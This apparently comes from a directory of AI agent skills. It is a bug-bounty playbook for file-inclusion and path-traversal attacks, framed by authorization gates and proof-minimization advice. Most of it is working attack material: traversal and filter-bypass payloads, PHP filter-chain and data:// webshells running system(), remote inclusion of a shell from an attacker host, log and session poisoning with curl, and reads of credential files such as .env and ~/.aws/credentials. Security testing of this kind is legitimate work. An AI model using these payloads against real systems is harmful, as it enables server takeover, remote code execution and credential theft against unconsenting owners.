SuperAPI AI Directory
Partner中文AI newsFavorites
Skillshunt-lfi

hunt-lfi

Security & auditing

View repository

Updated 10-27 02:31

About this skill

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LFI — Local / Remote File Inclusion & Path Traversal

Crown Jewel Targets

LFI that reaches code execution is Critical. Potential severity depends on the program and effective access; file-read may be High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.

Possible chains (each needs its own prerequisites and scope):

  • PHP filter-chain → RCE — the modern default. A PHP include/require sink that permits suitable filter chains may reach code execution with no upload endpoint and no writable file by chaining iconv conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. A read-only API such as file_get_contents does not execute generated PHP.
  • Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by open_basedir and unreadable log perms, so verify the log is readable first.
  • PHP wrappers → source disclosure — php://filter/convert.base64-encode/resource=index.php leaks source; read source to find more LFI sinks, secrets, and the include base path.
  • RFI → RCE — when allow_url_include=On, ?file=http://OOB/shell.txt pulls and executes remote code. Rare on modern configs but trivially Critical when present.
  • phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
  • zip:// / data:// chains and session/upload poisoning when filters block wrappers.

OOB / Blind-LFI Confirmation Gate (Read First)

LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.

What is NOT confirmation

  • A different status code or error string for ../../etc/passwd vs a normal value. The app may be string-matching ../ and returning a canned 403/500 without ever touching the filesystem.
  • Your input echoed back inside an error message (e.g. failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path.
  • A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.

What IS confirmation

  • Direct read: actual file contents appear (real root:x:0:0: line, real PHP source after base64-decoding the filter output).
  • OOB request: a callback proves a request path, not local file read or PHP execution by itself. It may be SSRF, a scanner, DNS resolver or URL preview; correlate a synthetic nonce and owner-side evidence before classifying.
  • Blind read via differential/timing: include a file you know exists and is large (/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable timing/size differences are hypotheses, not proof of filesystem access. Use owner-controlled canary content or server-side instrumentation.

Default workflow

  1. Pick a unique marker target: prefer an owner-created non-sensitive canary file outside the permitted subtree, with a marker not included in the request. For blind, use a php://filter base64 read and decode — strictly decode complete base64 groups and report recovered bytes only; truncated base64 may not decode to recognizable source.
  2. Generate a sub-tagged Collaborator payload per sink (lfi-page.<collab>, lfi-tpl.<collab>) so callbacks identify which parameter fired.
  3. Send, wait 30–120s, poll OOB.
  4. Claim file read only with content/owner-side evidence; callbacks and timing/length alone do not establish LFI. Echoed paths and lone status-code changes are retracted.

Attack Surface Signals

URL / Body Parameters

?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}

Technology Stack Signals

Signal Vector
PHP (X-Powered-By, .php, PHPSESSID) php:// filter-chain RCE, phar://, zip://, data://
Apache/Nginx logs readable Log poisoning → RCE (verify readability first)
Apache 2.4.49 / 2.4.50 (Server: banner) CVE-2021-41773 / CVE-2021-42013 traversal → RCE
PHP-CGI on Windows (XAMPP, php-cgi.exe) CVE-2024-4577 arg-injection → RCE
Java servlet (/WEB-INF/) WEB-INF/web.xml, classes/, application.properties
Python Flask/Django /proc/self/environ, settings.py, SECRET_KEY
Node.js file-serve / res.sendFile, express.static path-traversal read, require() traversal
Windows IIS / .NET ..\..\web.config, C:\Windows\win.ini, machineKey

Prerequisites and stopping conditions

Before any approved request, bound host/path count, request rate, total requests, response bytes and runtime; disable unexpected redirects and verify TLS. The unbounded historical fuzzing commands below are tool-shape examples, not ready production commands. Preserve evidence privately, use test accounts and record rollback/cleanup for any separately approved writes. PHAR automatic metadata unserialization is version/API-dependent; merely opening an archive URI on a current PHP runtime does not establish object injection. ?/# suffix tricks depend on URL/wrapper parsing and do not universally truncate local include paths.

Step-by-Step Methodology

Phase 1 — Identify Candidates

cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
  recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302

Phase 2 — Path Traversal (read)

?file=../../../etc/passwd
?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too
?file=/etc/passwd%00.png                      # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd                  # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)

# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config

Phase 3 — PHP Wrappers (source disclosure)

?file=php://filter/convert.base64-encode/resource=index.php   # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.

Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)

The modern flagship technique (Synacktiv, 2022). A php://-capable read alone does not execute PHP. Execution requires an include/require evaluation sink plus available filters/conversions and compatible input limits. iconv charset conversions, chained inside php://filter, emit controlled bytes that prepend to the resource until a full <?php ... ?> payload is forged — then include() runs it. No upload endpoint, no log access, no writable path required.

# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
#   git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id

Notes / gotchas:

  • Requires the include sink to accept the php://filter scheme (most LFI sinks calling include/require on the param do).
  • Payloads get long (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (<?=shorthand?>).
  • For blind targets, set the chain payload to a Collaborator callback (<?php file_get_contents("http://x.<collab>/".id);?>) to confirm execution OOB.
  • This works even when log poisoning fails (unreadable logs, open_basedir). Do not automatically escalate a read proof to code execution.

Phase 5 — Code-Execution Wrappers (config prerequisites)

# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # <?php system($_GET['c']);?>

# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
#   POST ?file=php://input    body: <?php system($_GET['c']); ?>
#   (Same prerequisite as data://. Do NOT assume this works on default PHP config.)

# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id

Phase 6 — Remote File Inclusion (RFI)

RFI = the include target is a remote URL. Prerequisite: allow_url_include=On (and allow_url_fopen=On). Off by default on modern PHP, but still seen on legacy/misconfigured hosts.

# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt          # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback is inconclusive because egress, DNS, TLS and parser behavior may block it.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell

Phase 7 — Log Poisoning → RCE

# Step 1: inject PHP into a log the include can read
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id                  # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
#   /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ

Phase 8 — Session / Upload Poisoning

# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg     # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt

Phase 8b — Archive-extraction & image-processing sinks (no ?file= needed)

Two LFI/traversal surfaces that are not query-parameter file reads:

  • Zip Slip / tar-symlink escape — a server that untars/unzips a user-supplied archive follows ../../ entry names or embedded symlinks (tar preserves them) to read/write outside the extraction dir. Craft an archive entry named ../approved-lab-parent/canary.txt, or a lab symlink to an owner-created canary; any write test must stay inside an explicitly approved disposable parent directory. Disclosed: reports/1439593, reports/733072, reports/822262.
  • ImageMagick coder read-sink — image convert/thumbnail/avatar features read local files via MSL/MVG coders even with no file parameter: filename/label label:@/etc/passwd, or an MSL payload (<image xlink:href="msl:/etc/passwd">) plus msl:/ephemeral: pseudo-protocols (ImageTragick CVE-2016-3714 family). Disclosed: reports/1858574. Pairs with hunt-file-upload.

Phase 9 — Automation (then manual-confirm everything)

ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
  "https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.

Named CVEs / Public Techniques (grounding)

Historical research leads requiring exact primary advisory/configuration verification before use:

  • PHP filter-chain to RCE — Synacktiv research (2022); php_filter_chain_generator. Not a CVE; an abuse of documented iconv behaviour. Not proof that an arbitrary file-read sink executes code.
  • CVE-2021-41773 — Apache HTTP Server 2.4.49 path traversal (%2e in normalized path) → file read, and RCE when mod_cgi is enabled.
  • CVE-2021-42013 — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded %%32%65) → traversal/RCE.
  • CVE-2024-4577 — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE.

Grounding note: this skill is built from 31 disclosed LFI/path-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL/ID you used — do not paraphrase a report ID from memory. A wrong ID is worse than none.

Proof minimization

Begin with an owner-created synthetic marker file and a negative control. Stop once the approved read boundary is demonstrated. Do not collect .env, private keys, session files, password hashes or cloud credentials as a routine checklist. If sensitive content appears unintentionally, stop, redact and notify the owner through the approved channel; do not authenticate with it. Log/session poisoning, archive writes and RCE are separate invasive tests, never implied by a read scope. All examples in those sections are lab-only until that exact effect is approved.

Bypass Table

Filter Bypass
Strips ../ once ....// or ..../\ (re-forms ../ after strip)
URL-decodes once %252f (double-encode /), %252e for dots
Decodes once, blocks .. Encode dots: %2e%2e%2f / overlong %c0%ae (legacy)
Appends .php to input ? or # truncation; null byte %00 (PHP < 5.3.4)
Blocks php:// scheme try PHP://, pHp://, or data:// / expect://
Prepends fixed base dir enough ../ to escape; or absolute path if no base prepend
Blocks /etc/passwd literal path-truncation, /etc/./passwd, /etc//passwd
WAF on long filter-chains move chain to POST body / minimize payload
Windows ..\..\..\windows\win.ini, ..%5c..%5c

Chain Table

LFI primitive Chain to Impact
php://filter read Check whether a distinct include/require sink exists Read alone is not RCE
File read .env / config.php / wp-config.php DB creds, API keys → backend takeover
File read /proc/self/environ, ~/.aws/credentials env secrets, cloud keys → SSRF/IAM pivot
Remote URL include RFI (allow_url_include) direct RCE — Critical
File read + upload phar:// / log / session poison RCE — Critical
Source disclosure full app source hardcoded secrets, new sinks, machineKey

Validation Discipline

Direct-read proof (not a false positive):

  • Show real contents, not your echoed path. A controlled canary must contain its expected marker; passwd layouts vary across systems. Diff the response against a known-good param value — the delta must be the file body, not a WAF/error page.
  • For source reads, the base64 must decode to valid PHP. A garbage/empty decode = no real read.
  • Rule out reflection: confirm the marker text is not simply your input bounced back. Request /etc/passwd and /etc/passwd_<rand> (non-existent) — only the real file returns content.

Blind / OOB proof:

  • No reflection? Use a php://filter-chain or RFI payload that calls back to a unique Burp Collaborator subdomain. A callback alone proves neither local file read nor execution; resolver/proxy addresses may differ from the server. Sub-tag per sink.
  • Timing/length blind: use controlled repeated observations only as leads and confirm via a canary or owner instrumentation; three repeats do not eliminate WAF/load confounders.

Partial / truncated reads:

  • Templating may HTML-escape or cut the file. Use php://filter/convert.base64-encode so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.

RCE proof: show command output you control — id / whoami / hostname reflected, or an OOB callback from inside the executed payload (curl http://<collab>/). "The payload was accepted" is not RCE.

Severity:

  • Non-sensitive file read: Medium
  • File read exposing DB creds / API keys / private keys / cloud creds: High
  • RCE via filter-chain / RFI / log / session / phar / CVE: Critical

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.